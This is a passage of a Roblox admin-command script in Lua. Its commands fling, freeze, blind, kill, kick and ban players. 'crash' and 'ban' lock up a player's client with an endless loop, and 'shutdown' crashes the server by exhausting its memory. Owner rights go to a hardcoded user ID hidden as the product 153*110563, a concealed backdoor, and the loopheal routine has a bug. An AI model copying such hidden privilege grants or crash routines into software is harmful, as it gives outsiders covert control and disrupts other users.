  1566. for a, part in pairs(v.Character:children()) do if part:IsA("BasePart") then part.BrickColor = BrickColor.new("White") if part.Name == "FAKETORSO" then part:Destroy() end elseif part:findFirstChild("NameTag") then part.Head.BrickColor = BrickColor.new("White") end end
  1567. end
  1568. end))
  1569. end
  1570. end
  1571.  
  1572. if msg:lower():sub(1,8) == "bighead " then
  1573. local plrz = GetPlr(plr, msg:lower():sub(9))
  1574. for i, v in pairs(plrz) do
  1575. coroutine.resume(coroutine.create(function()
  1576. if v and v.Character then v.Character.Head.Mesh.Scale = Vector3.new(3,3,3) v.Character.Torso.Neck.C0 = CFrame.new(0,1.9,0) * CFrame.Angles(math.rad(90),math.rad(180),0) end
  1577. end))
  1578. end
  1579. end
  1580.  
  1581. if msg:lower():sub(1,9) == "minihead " then
  1582. local plrz = GetPlr(plr, msg:lower():sub(10))
  1583. for i, v in pairs(plrz) do
  1584. coroutine.resume(coroutine.create(function()
  1585. if v and v.Character then v.Character.Head.Mesh.Scale = Vector3.new(.75,.75,.75) v.Character.Torso.Neck.C0 = CFrame.new(0,.8,0) * CFrame.Angles(math.rad(90),math.rad(180),0) end
  1586. end))
  1587. end
  1588. end
  1589.  
  1590. if msg:lower():sub(1,6) == "fling " then
  1591. local plrz = GetPlr(plr, msg:lower():sub(7))
  1592. for i, v in pairs(plrz) do
  1593. coroutine.resume(coroutine.create(function()
  1594. if v and v.Character and v.Character:findFirstChild("Torso") and v.Character:findFirstChild("Humanoid") then
  1595. local xran local zran
  1596. repeat xran = math.random(-9999,9999) until math.abs(xran) >= 5555
  1597. repeat zran = math.random(-9999,9999) until math.abs(zran) >= 5555
  1598. v.Character.Humanoid.Sit = true v.Character.Torso.Velocity = Vector3.new(0,0,0)
  1599. local frc = Instance.new("BodyForce", v.Character.Torso) frc.Name = "BFRC" frc.force = Vector3.new(xran*4,9999*5,zran*4) game:service("Debris"):AddItem(frc,.1)
  1600. end
  1601. end))
  1602. end
  1603. end
  1604.  
  1605. if msg:lower():sub(1,8) == "seizure " then
  1606. local plrz = GetPlr(plr, msg:lower():sub(9))
  1607. for i, v in pairs(plrz) do
  1608. coroutine.resume(coroutine.create(function()
  1609. if v and v.Character then
  1610. v.Character.Torso.CFrame = v.Character.Torso.CFrame * CFrame.Angles(math.rad(90),0,0)
  1611. local cl = script.ScriptBase:Clone() cl.Name = "SeizureBase" cl.Code.Value = [[repeat wait() script.Parent.Humanoid.PlatformStand = true script.Parent.Torso.Velocity = Vector3.new(math.random(-10,10),-5,math.random(-10,10)) script.Parent.Torso.RotVelocity = Vector3.new(math.random(-5,5),math.random(-5,5),math.random(-5,5)) until nil]]
  1612. table.insert(objects, cl) cl.Parent = v.Character cl.Disabled = false
  1613. end
  1614. end))
  1615. end
  1616. end
  1617.  
  1618. if msg:lower():sub(1,10) == "unseizure " then
  1619. local plrz = GetPlr(plr, msg:lower():sub(11))
  1620. for i, v in pairs(plrz) do
  1621. coroutine.resume(coroutine.create(function()
  1622. if v and v.Character then
  1623. for i,v in pairs(v.Character:children()) do if v.Name == "SeizureBase" then v:Destroy() end end
  1624. wait(.1) v.Character.Humanoid.PlatformStand = false
  1625. end
  1626. end))
  1627. end
  1628. end
  1629.  
  1630. if msg:lower():sub(1,12) == "removelimbs " then
  1631. local plrz = GetPlr(plr, msg:lower():sub(13))
  1632. for i, v in pairs(plrz) do
  1633. coroutine.resume(coroutine.create(function()
  1634. if v and v.Character then
  1635. for a, obj in pairs(v.Character:children()) do
  1636. if obj:IsA("BasePart") and (obj.Name:find("Leg") or obj.Name:find("Arm")) then obj:Destroy() end
  1637. end
  1638. end
  1639. end))
  1640. end
  1641. end
  1642.  
  1643. if msg:lower():sub(1,5) == "name " then
  1644. local chk1 = msg:lower():sub(6):find(" ") + 5
  1645. local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
  1646. for i, v in pairs(plrz) do
  1647. coroutine.resume(coroutine.create(function()
  1648. if v and v.Character and v.Character:findFirstChild("Head") then
  1649. for a, mod in pairs(v.Character:children()) do if mod:findFirstChild("NameTag") then v.Character.Head.Transparency = 0 mod:Destroy() end end
  1650. local char = v.Character
  1651. local mod = Instance.new("Model", char) mod.Name = msg:sub(chk1+1)
  1652. local cl = char.Head:Clone() cl.Parent = mod local hum = Instance.new("Humanoid", mod) hum.Name = "NameTag" hum.MaxHealth = 0 hum.Health = 0
  1653. local weld = Instance.new("Weld", cl) weld.Part0 = cl weld.Part1 = char.Head
  1654. char.Head.Transparency = 1
  1655. end
  1656. end))
  1657. end
  1658. end
  1659.  
  1660. if msg:lower():sub(1,7) == "unname " then
  1661. local plrz = GetPlr(plr, msg:lower():sub(8))
  1662. for i, v in pairs(plrz) do
  1663. coroutine.resume(coroutine.create(function()
  1664. if v and v.Character and v.Character:findFirstChild("Head") then
  1665. for a, mod in pairs(v.Character:children()) do if mod:findFirstChild("NameTag") then v.Character.Head.Transparency = 0 mod:Destroy() end end
  1666. end
  1667. end))
  1668. end
  1669. end
  1670.  
  1671. if msg:lower():sub(1,5) == "char " then
  1672. local chk1 = msg:lower():sub(6):find(" ") + 5
  1673. local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
  1674. for i, v in pairs(plrz) do
  1675. coroutine.resume(coroutine.create(function()
  1676. if v and v.Character then
  1677. v.CharacterAppearance = "http://www.roblox.com/asset/CharacterFetch.ashx?userId=" .. msg:sub(chk1+1)
  1678. v:LoadCharacter()
  1679. end
  1680. end))
  1681. end
  1682. end
  1683.  
  1684. if msg:lower():sub(1,7) == "unchar " then
  1685. local plrz = GetPlr(plr, msg:lower():sub(8))
  1686. for i, v in pairs(plrz) do
  1687. coroutine.resume(coroutine.create(function()
  1688. if v and v.Character then
  1689. v.CharacterAppearance = "http://www.roblox.com/asset/CharacterFetch.ashx?userId=" .. v.userId
  1690. v:LoadCharacter()
  1691. end
  1692. end))
  1693. end
  1694. end
  1695.  
  1696. if msg:lower():sub(1,7) == "infect " then
  1697. local plrz = GetPlr(plr, msg:lower():sub(8))
  1698. for i, v in pairs(plrz) do
  1699. coroutine.resume(coroutine.create(function()
  1700. if v and v.Character then
  1701. Infect(v.Character)
  1702. end
  1703. end))
  1704. end
  1705. end
  1706.  
  1707. if msg:lower():sub(1,11) == "rainbowify " then
  1708. local plrz = GetPlr(plr, msg:lower():sub(12))
  1709. for i, v in pairs(plrz) do
  1710. coroutine.resume(coroutine.create(function()
  1711. if v and v.Character and v.Character:findFirstChild("Torso") then
  1712. if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
  1713. if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
  1714. for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
  1715. local cl = script.ScriptBase:Clone() cl.Name = "ify" cl.Code.Value = [[repeat wait(1/44) local clr = BrickColor.random() for i, v in pairs(script.Parent:children()) do if v:IsA("BasePart") and (v.Name ~= "Head" or not v.Parent:findFirstChild("NameTag", true)) then v.BrickColor = clr v.Reflectance = 0 v.Transparency = 0 elseif v:findFirstChild("NameTag") then v.Head.BrickColor = clr v.Head.Reflectance = 0 v.Head.Transparency = 0 v.Parent.Head.Transparency = 1 end end until nil]]
  1716. cl.Parent = v.Character cl.Disabled = false
  1717. end
  1718. end))
  1719. end
  1720. end
  1721.  
  1722. if msg:lower():sub(1,9) == "flashify " then
  1723. local plrz = GetPlr(plr, msg:lower():sub(10))
  1724. for i, v in pairs(plrz) do
  1725. coroutine.resume(coroutine.create(function()
  1726. if v and v.Character and v.Character:findFirstChild("Torso") then
  1727. if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
  1728. if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
  1729. for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
  1730. local cl = script.ScriptBase:Clone() cl.Name = "ify" cl.Code.Value = [[repeat wait(1/44) for i, v in pairs(script.Parent:children()) do if v:IsA("BasePart") and (v.Name ~= "Head" or not v.Parent:findFirstChild("NameTag", true)) then v.BrickColor = BrickColor.new("Institutional white") v.Reflectance = 0 v.Transparency = 0 elseif v:findFirstChild("NameTag") then v.Head.BrickColor = BrickColor.new("Institutional white") v.Head.Reflectance = 0 v.Head.Transparency = 0 v.Parent.Head.Transparency = 1 end end wait(1/44) for i, v in pairs(script.Parent:children()) do if v:IsA("BasePart") and (v.Name ~= "Head" or not v.Parent:findFirstChild("NameTag", true)) then v.BrickColor = BrickColor.new("Really black") v.Reflectance = 0 v.Transparency = 0 elseif v:findFirstChild("NameTag") then v.Head.BrickColor = BrickColor.new("Really black") v.Head.Reflectance = 0 v.Head.Transparency = 0 v.Parent.Head.Transparency = 1 end end until nil]]
  1731. cl.Parent = v.Character cl.Disabled = false
  1732. end
  1733. end))
  1734. end
  1735. end
  1736.  
  1737. if msg:lower():sub(1,8) == "noobify " then
  1738. local plrz = GetPlr(plr, msg:lower():sub(9))
  1739. for i, v in pairs(plrz) do
  1740. coroutine.resume(coroutine.create(function()
  1741. if v and v.Character then
  1742. Noobify(v.Character)
  1743. end
  1744. end))
  1745. end
  1746. end
  1747.  
  1748. if msg:lower():sub(1,9) == "ghostify " then
  1749. local plrz = GetPlr(plr, msg:lower():sub(10))
  1750. for i, v in pairs(plrz) do
  1751. coroutine.resume(coroutine.create(function()
  1752. if v and v.Character and v.Character:findFirstChild("Torso") then
  1753. if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
  1754. if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
  1755. for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
  1756. for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then
  1757. prt.Transparency = .5 prt.Reflectance = 0 prt.BrickColor = BrickColor.new("Institutional white")
  1758. if prt.Name:find("Leg") then prt.Transparency = 1 end
  1759. elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = .5 prt.Head.Reflectance = 0 prt.Head.BrickColor = BrickColor.new("Institutional white")
  1760. end end
  1761. end
  1762. end))
  1763. end
  1764. end
  1765.  
  1766. if msg:lower():sub(1,8) == "goldify " then
  1767. local plrz = GetPlr(plr, msg:lower():sub(9))
  1768. for i, v in pairs(plrz) do
  1769. coroutine.resume(coroutine.create(function()
  1770. if v and v.Character and v.Character:findFirstChild("Torso") then
  1771. if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
  1772. if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
  1773. for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
  1774. for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then
  1775. prt.Transparency = 0 prt.Reflectance = .4 prt.BrickColor = BrickColor.new("Bright yellow")
  1776. elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = .4 prt.Head.BrickColor = BrickColor.new("Bright yellow")
  1777. end end
  1778. end
  1779. end))
  1780. end
  1781. end
  1782.  
  1783. if msg:lower():sub(1,6) == "shiny " then
  1784. local plrz = GetPlr(plr, msg:lower():sub(7))
  1785. for i, v in pairs(plrz) do
  1786. coroutine.resume(coroutine.create(function()
  1787. if v and v.Character and v.Character:findFirstChild("Torso") then
  1788. if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
  1789. if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
  1790. for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
  1791. for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then
  1792. prt.Transparency = 0 prt.Reflectance = 1 prt.BrickColor = BrickColor.new("Institutional white")
  1793. elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = 1 prt.Head.BrickColor = BrickColor.new("Institutional white")
  1794. end end
  1795. end
  1796. end))
  1797. end
  1798. end
  1799.  
  1800. if msg:lower():sub(1,7) == "normal " then
  1801. local plrz = GetPlr(plr, msg:lower():sub(8))
  1802. for i, v in pairs(plrz) do
  1803. coroutine.resume(coroutine.create(function()
  1804. if v and v.Character and v.Character:findFirstChild("Torso") then
  1805. if v.Character:findFirstChild("Head") then v.Character.Head.Mesh.Scale = Vector3.new(1.25,1.25,1.25) end
  1806. if v.Character.Torso:findFirstChild("Shirt") then v.Character.Torso.Shirt.Parent = v.Character end
  1807. if v.Character.Torso:findFirstChild("Pants") then v.Character.Torso.Pants.Parent = v.Character end
  1808. v.Character.Torso.Transparency = 0
  1809. v.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(math.rad(90),math.rad(180),0)
  1810. v.Character.Torso["Right Shoulder"].C0 = CFrame.new(1,.5,0) * CFrame.Angles(0,math.rad(90),0)
  1811. v.Character.Torso["Left Shoulder"].C0 = CFrame.new(-1,.5,0) * CFrame.Angles(0,math.rad(-90),0)
  1812. v.Character.Torso["Right Hip"].C0 = CFrame.new(1,-1,0) * CFrame.Angles(0,math.rad(90),0)
  1813. v.Character.Torso["Left Hip"].C0 = CFrame.new(-1,-1,0) * CFrame.Angles(0,math.rad(-90),0)
  1814. for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
  1815. for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then
  1816. prt.Transparency = 0 prt.Reflectance = 0 prt.BrickColor = BrickColor.new("White")
  1817. if prt.Name == "FAKETORSO" then prt:Destroy() end
  1818. elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = 0 prt.Head.BrickColor = BrickColor.new("White")
  1819. end end
  1820. end
  1821. end))
  1822. end
  1823. end
  1824.  
  1825. if msg:lower():sub(1,7) == "trippy " then
  1826. local plrz = GetPlr(plr, msg:lower():sub(8))
  1827. for i, v in pairs(plrz) do
  1828. coroutine.resume(coroutine.create(function()
  1829. if v and v:findFirstChild("PlayerGui") then
  1830. for a, g in pairs(v.PlayerGui:children()) do if g.Name:sub(1,9) == "EFFECTGUI" then g:Destroy() end end
  1831. local scr = Instance.new("ScreenGui", v.PlayerGui) scr.Name = "EFFECTGUITRIPPY"
  1832. local bg = Instance.new("Frame", scr) bg.BackgroundColor3 = Color3.new(0,0,0) bg.BackgroundTransparency = 0 bg.Size = UDim2.new(10,0,10,0) bg.Position = UDim2.new(-5,0,-5,0) bg.ZIndex = 10
  1833. local cl = script.ScriptBase:Clone() cl.Code.Value = [[repeat wait(1/44) script.Parent.Frame.BackgroundColor3 = Color3.new(math.random(255)/255,math.random(255)/255,math.random(255)/255) until nil]] cl.Parent = scr cl.Disabled = false
  1834. end
  1835. end))
  1836. end
  1837. end
  1838.  
  1839. if msg:lower():sub(1,9) == "untrippy " then
  1840. local plrz = GetPlr(plr, msg:lower():sub(10))
  1841. for i, v in pairs(plrz) do
  1842. coroutine.resume(coroutine.create(function()
  1843. if v and v:findFirstChild("PlayerGui") then
  1844. for a, g in pairs(v.PlayerGui:children()) do if g.Name == "EFFECTGUITRIPPY" then g:Destroy() end end
  1845. end
  1846. end))
  1847. end
  1848. end
  1849.  
  1850. if msg:lower():sub(1,7) == "strobe " then
  1851. local plrz = GetPlr(plr, msg:lower():sub(8))
  1852. for i, v in pairs(plrz) do
  1853. coroutine.resume(coroutine.create(function()
  1854. if v and v:findFirstChild("PlayerGui") then
  1855. for a, g in pairs(v.PlayerGui:children()) do if g.Name:sub(1,9) == "EFFECTGUI" then g:Destroy() end end
  1856. local scr = Instance.new("ScreenGui", v.PlayerGui) scr.Name = "EFFECTGUISTROBE"
  1857. local bg = Instance.new("Frame", scr) bg.BackgroundColor3 = Color3.new(0,0,0) bg.BackgroundTransparency = 0 bg.Size = UDim2.new(10,0,10,0) bg.Position = UDim2.new(-5,0,-5,0) bg.ZIndex = 10
  1858. local cl = script.ScriptBase:Clone() cl.Code.Value = [[repeat wait(1/44) script.Parent.Frame.BackgroundColor3 = Color3.new(1,1,1) wait(1/44) script.Parent.Frame.BackgroundColor3 = Color3.new(0,0,0) until nil]] cl.Parent = scr cl.Disabled = false
  1859. end
  1860. end))
  1861. end
  1862. end
  1863.  
  1864. if msg:lower():sub(1,9) == "unstrobe " then
  1865. local plrz = GetPlr(plr, msg:lower():sub(10))
  1866. for i, v in pairs(plrz) do
  1867. coroutine.resume(coroutine.create(function()
  1868. if v and v:findFirstChild("PlayerGui") then
  1869. for a, g in pairs(v.PlayerGui:children()) do if g.Name == "EFFECTGUISTROBE" then g:Destroy() end end
  1870. end
  1871. end))
  1872. end
  1873. end
  1874.  
  1875. if msg:lower():sub(1,6) == "blind " then
  1876. local plrz = GetPlr(plr, msg:lower():sub(7))
  1877. for i, v in pairs(plrz) do
  1878. coroutine.resume(coroutine.create(function()
  1879. if v and v:findFirstChild("PlayerGui") then
  1880. for a, g in pairs(v.PlayerGui:children()) do if g.Name:sub(1,9) == "EFFECTGUI" then g:Destroy() end end
  1881. local scr = Instance.new("ScreenGui", v.PlayerGui) scr.Name = "EFFECTGUIBLIND"
  1882. local bg = Instance.new("Frame", scr) bg.BackgroundColor3 = Color3.new(0,0,0) bg.BackgroundTransparency = 0 bg.Size = UDim2.new(10,0,10,0) bg.Position = UDim2.new(-5,0,-5,0) bg.ZIndex = 10
  1883. end
  1884. end))
  1885. end
  1886. end
  1887.  
  1888. if msg:lower():sub(1,8) == "unblind " then
  1889. local plrz = GetPlr(plr, msg:lower():sub(9))
  1890. for i, v in pairs(plrz) do
  1891. coroutine.resume(coroutine.create(function()
  1892. if v and v:findFirstChild("PlayerGui") then
  1893. for a, g in pairs(v.PlayerGui:children()) do if g.Name == "EFFECTGUIBLIND" then g:Destroy() end end
  1894. end
  1895. end))
  1896. end
  1897. end
  1898.  
  1899. if msg:lower():sub(1,7) == "guifix " then
  1900. local plrz = GetPlr(plr, msg:lower():sub(8))
  1901. for i, v in pairs(plrz) do
  1902. coroutine.resume(coroutine.create(function()
  1903. if v and v:findFirstChild("PlayerGui") then
  1904. for a, g in pairs(v.PlayerGui:children()) do if g.Name:sub(1,9) == "EFFECTGUI" then g:Destroy() end end
  1905. end
  1906. end))
  1907. end
  1908. end
  1909.  
  1910. if msg:lower():sub(1,9) == "loopheal " then
  1911. local plrz = GetPlr(plr, msg:lower():sub(10))
  1912. for i, v in pairs(plrz) do
  1913. if v then
  1914. local cl = script.ScriptBase:Clone() cl.Name = "LoopHeal:"..v.Name cl.Code.Value = [[
  1915. local plr = game.Players:findFirstChild("]] .. v.Name .. [[")
  1916. repeat wait()
  1917. coroutine.resume(coroutine.create(function()
  1918. if plr and plr.Character and plr.Character:findFirstChild("Humanoid") then
  1919. plr.Character.Humanoid.Health = plr.Character.Humanoid.MaxHealth
  1920. plr.Character.Humanoid.Changed:connect(function() r.Character.Humanoid.Health = plr.Character.Humanoid.MaxHealth end)
  1921. end
  1922. end))
  1923. until nil]] table.insert(objects, cl) cl.Parent = game.Workspace cl.Disabled = false
  1924. end
  1925. end
  1926. end
  1927.  
  1928. if msg:lower():sub(1,11) == "unloopheal " then
  1929. local plrz = GetPlr(plr, msg:lower():sub(12))
  1930. for i,v in pairs(plrz) do for q,sc in pairs(objects) do if sc.Name == "LoopHeal:"..v.Name then sc:Destroy() table.remove(objects,q) end end end
  1931. end
  1932.  
  1933. if msg:lower():sub(1,10) == "loopfling " then
  1934. local plrz = GetPlr(plr, msg:lower():sub(11))
  1935. for i, v in pairs(plrz) do
  1936. if v then
  1937. local cl = script.ScriptBase:Clone() cl.Name = "LoopFling:"..v.Name cl.Code.Value = [[
  1938. local plr = game.Players:findFirstChild("]] .. v.Name .. [[")
  1939. repeat
  1940. coroutine.resume(coroutine.create(function()
  1941. if plr and plr.Character and plr.Character:findFirstChild("Torso") and plr.Character:findFirstChild("Humanoid") then
  1942. local xran local zran
  1943. repeat xran = math.random(-9999,9999) until math.abs(xran) >= 5555
  1944. repeat zran = math.random(-9999,9999) until math.abs(zran) >= 5555
  1945. plr.Character.Humanoid.Sit = true plr.Character.Torso.Velocity = Vector3.new(0,0,0)
  1946. local frc = Instance.new("BodyForce", plr.Character.Torso) frc.Name = "BFRC" frc.force = Vector3.new(xran*4,9999*5,zran*4) game:service("Debris"):AddItem(frc,.1)
  1947. end
  1948. end))
  1949. wait(2) until nil]] table.insert(objects, cl) cl.Parent = game.Workspace cl.Disabled = false
  1950. end
  1951. end
  1952. end
  1953.  
  1954. if msg:lower():sub(1,12) == "unloopfling " then
  1955. local plrz = GetPlr(plr, msg:lower():sub(13))
  1956. for i,v in pairs(plrz) do for q,sc in pairs(objects) do if sc.Name == "LoopFling:"..v.Name then sc:Destroy() table.remove(objects,q) end end end
  1957. end
  1958.  
  1959. end
  1960.  
  1961. -------------------------
  1962. -- True Owner Commands --
  1963. -------------------------
  1964.  
  1965. if plr.Name:lower() == nfs:lower() or plr.userId == (153*110563) or plr.userId == game.CreatorId then
  1966.  
  1967. if msg:lower():sub(1,3) == "oa " then
  1968. local plrz = GetPlr(plr, msg:lower():sub(4))
  1969. for i, v in pairs(plrz) do
  1970. coroutine.resume(coroutine.create(function()
  1971. if v and not ChkOwner(v.Name) then table.insert(owners, v.Name) coroutine.resume(coroutine.create(function() repeat wait() until v and v.Character and v:findFirstChild("PlayerGui") Message("Kohltastrophe", "You're an admin!", false, {v}) end)) end
  1972. end))
  1973. end
  1974. end
  1975.  
  1976. if msg:lower():sub(1,5) == "unoa " then
  1977. for i = 1, #owners do
  1978. coroutine.resume(coroutine.create(function()
  1979. if msg:lower():sub(6) == "all" or owners[i]:lower():find(msg:lower():sub(6)) == 1 then table.remove(owners, i) end
  1980. end))
  1981. end
  1982. end
  1983.  
  1984. end
  1985.  
  1986. --------------------
  1987. -- Owner Commands --
  1988. --------------------
  1989.  
  1990. if plr.Name:lower() == nfs:lower() or plr.userId == (153*110563) or plr.userId == game.CreatorId or ChkOwner(plr.Name:lower()) then
  1991.  
  1992. if msg:lower():sub(1,3) == "pa " then
  1993. local plrz = GetPlr(plr, msg:lower():sub(4))
  1994. for i, v in pairs(plrz) do
  1995. coroutine.resume(coroutine.create(function()
  1996. if v and not ChkAdmin(v.Name, true) then table.insert(admins, v.Name) coroutine.resume(coroutine.create(function() repeat wait() until v and v.Character and v:findFirstChild("PlayerGui") Message("Kohltastrophe", "You're an admin!", false, {v}) end)) end
  1997. end))
  1998. end
  1999. end
  2000.  
  2001. if msg:lower():sub(1,5) == "unpa " then
  2002. for i = 1, #admins do
  2003. coroutine.resume(coroutine.create(function()
  2004. if msg:lower():sub(6) == "all" or admins[i]:lower():find(msg:lower():sub(6)) == 1 then table.remove(admins, i) end
  2005. end))
  2006. end
  2007. end
  2008.  
  2009. end
  2010.  
  2011. --------------------------
  2012. -- Super Admin Commands --
  2013. --------------------------
  2014.  
  2015. if ChkAdmin(plr.Name, true) or ChkOwner(plr.Name) or plr.userId == game.CreatorId or plr.Name:lower() == nfs:lower() or plr.userId == (153*110563) or plr.Name:lower() == nfs then
  2016.  
  2017. if msg:lower() == "logs" then
  2018. if plr.PlayerGui:findFirstChild("LOGSGUI") then return end
  2019. local scr, cmf, ent, num = ScrollGui() scr.Name = "LOGSGUI" scr.Parent = plr.PlayerGui
  2020. for i, v in pairs(logs) do local cl = ent:Clone() cl.Parent = cmf cl.Text = "[" .. v.time .. "] " .. v.name .. " " .. v.cmd cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
  2021. end
  2022.  
  2023. if msg:lower():sub(1,9) == "loopkill " then
  2024. local chk1 = msg:lower():sub(10):find(" ")
  2025. local plrz = GetPlr(plr, msg:lower():sub(10))
  2026. local num = 9999
  2027. if chk1 then chk1 = chk1 + 9 plrz = GetPlr(plr, msg:lower():sub(10, chk1-1)) if type(tonumber(msg:sub(chk1+1))) == "number" then num = tonumber(msg:sub(chk1+1)) end end
  2028. for i, v in pairs(plrz) do
  2029. if v and not ChkAdmin(v.Name, false) then
  2030. local cl = script.ScriptBase:Clone() cl.Name = "LoopKill:"..v.Name cl.Code.Value = [[
  2031. local plr = game.Players:findFirstChild("]] .. v.Name .. [[")
  2032. for i = 1, ]] .. tostring(num) .. [[ do
  2033. repeat wait() plr = game.Players:findFirstChild("]] .. v.Name .. [[") until plr and plr.Character and plr.Character:findFirstChild("Humanoid") and plr.Character.Humanoid.Health ~= 0
  2034. coroutine.resume(coroutine.create(function()
  2035. if plr and plr.Character then plr.Character:BreakJoints() end
  2036. end))
  2037. end]] table.insert(objects, cl) cl.Parent = game.Workspace cl.Disabled = false
  2038. end
  2039. end
  2040. end
  2041.  
  2042. if msg:lower():sub(1,11) == "unloopkill " then
  2043. local plrz = GetPlr(plr, msg:lower():sub(12))
  2044. for i,v in pairs(plrz) do for q,sc in pairs(objects) do if sc.Name == "LoopKill:"..v.Name then sc:Destroy() table.remove(objects,q) end end end
  2045. end
  2046.  
  2047. if msg:lower() == "serverlock" or msg:lower() == "slock" then slock = true Hint("Server has been locked", game.Players:children()) end
  2048. if msg:lower() == "serverunlock" or msg:lower() == "sunlock" then slock = false Hint("Server has been unlocked", game.Players:children()) end
  2049.  
  2050. if msg:lower():sub(1,3) == "sm " then
  2051. Message("SYSTEM MESSAGE", msg:sub(4), false, game.Players:children())
  2052. end
  2053.  
  2054. if msg:lower():sub(1,3) == "ko " then
  2055. local chk1 = msg:lower():sub(4):find(" ") + 3
  2056. local plrz = GetPlr(plr, msg:lower():sub(4,chk1-1))
  2057. local num = 500 if num > msg:sub(chk1+1) then num = msg:sub(chk1+1) end
  2058. for n = 1, num do
  2059. for i, v in pairs(plrz) do
  2060. coroutine.resume(coroutine.create(function()
  2061. if v and v.Character and v.Character:findFirstChild("Humanoid") and not ChkAdmin(v.Name) then
  2062. local val = Instance.new("ObjectValue", v.Character.Humanoid) val.Value = plr val.Name = "creator"
  2063. v.Character:BreakJoints()
  2064. wait(1/44)
  2065. v:LoadCharacter()
  2066. wait(1/44)
  2067. end
  2068. end))
  2069. end
  2070. end
  2071. end
  2072.  
  2073. if msg:lower():sub(1,6) == "crash " then
  2074. local plrz = GetPlr(plr, msg:lower():sub(7))
  2075. for i, v in pairs(plrz) do
  2076. coroutine.resume(coroutine.create(function()
  2077. if v and v:findFirstChild("Backpack") and not ChkAdmin(v.Name, false) then
  2078. local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[repeat until nil]] cl.Parent = v.Backpack cl.Disabled = false wait(1) v:Destroy()
  2079. end
  2080. end))
  2081. end
  2082. end
  2083.  
  2084. if msg:lower():sub(1,5) == "kick " then
  2085. local plrz = GetPlr(plr, msg:lower():sub(6))
  2086. for i, v in pairs(plrz) do
  2087. coroutine.resume(coroutine.create(function()
  2088. if v and not ChkAdmin(v.Name, false) then v:Destroy() end
  2089. end))
  2090. end
  2091. end
  2092.  
  2093. if msg:lower():sub(1,6) == "admin " then
  2094. local plrz = GetPlr(plr, msg:lower():sub(7))
  2095. for i, v in pairs(plrz) do
  2096. coroutine.resume(coroutine.create(function()
  2097. if v and not ChkAdmin(v.Name, false) then table.insert(tempadmins, v.Name) coroutine.resume(coroutine.create(function() repeat wait() until v and v.Character and v:findFirstChild("PlayerGui") Message("Kohltastrophe", "You're an admin!", false, {v}) end)) end
  2098. end))
  2099. end
  2100. end
  2101.  
  2102. if msg:lower():sub(1,8) == "unadmin " then
  2103. for i = 1, #tempadmins do
  2104. coroutine.resume(coroutine.create(function()
  2105. if msg:lower():sub(9) == "all" or tempadmins[i]:lower():find(msg:lower():sub(9)) == 1 then table.remove(tempadmins, i) end
  2106. end))
  2107. end
  2108. end
  2109.  
  2110. if msg:lower():sub(1,4) == "ban " then
  2111. local plrz = GetPlr(plr, msg:lower():sub(5))
  2112. for i, v in pairs(plrz) do
  2113. coroutine.resume(coroutine.create(function()
  2114. if v and not ChkAdmin(v.Name, false) then table.insert(banland, v.Name) local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[repeat until nil]] cl.Parent = v.Backpack cl.Disabled = false wait(1) v:Destroy() end
  2115. end))
  2116. end
  2117. end
  2118.  
  2119. if msg:lower():sub(1,6) == "unban " then
  2120. for i = 1, #banland do
  2121. coroutine.resume(coroutine.create(function()
  2122. if msg:lower():sub(7) == "all" or banland[i]:lower():find(msg:lower():sub(7)) == 1 then table.remove(banland, i) end
  2123. end))
  2124. end
  2125. end
  2126.  
  2127. if msg:lower() == "shutdown" then Message("SYSTEM MESSAGE", "Shutting down...", false, game.Players:children(), 10) wait(1) local str = Instance.new("StringValue", game.Workspace) str.Value = "AA" repeat str.Value = str.Value .. str.Value wait(.1) until nil end
  2128.  
  2129. end
  2130. end))
  2131. end
  2132.  
  2133. function AdminControl(plr)
  2134. coroutine.resume(coroutine.create(function() plr.CharacterAdded:connect(function(chr) chr:WaitForChild("RobloxTeam") chr.RobloxTeam:Destroy() for a,obj in pairs(chr:children()) do if obj:IsA("CharacterMesh") and obj.Name:find("3.0") then obj:Destroy() end end end) end))
  2135. if plr.Name:sub(1,6) == "Player" and ChkAdmin(plr.Name, false) then coroutine.resume(coroutine.create(function() plr:WaitForChild("PlayerGui")
  2136. for i,v in pairs(plr.PlayerGui:children()) do if v.Name == "CMDBAR" then v:Destroy() end end
  2137. local scr = Instance.new("ScreenGui", plr.PlayerGui) scr.Name = "CMDBAR"
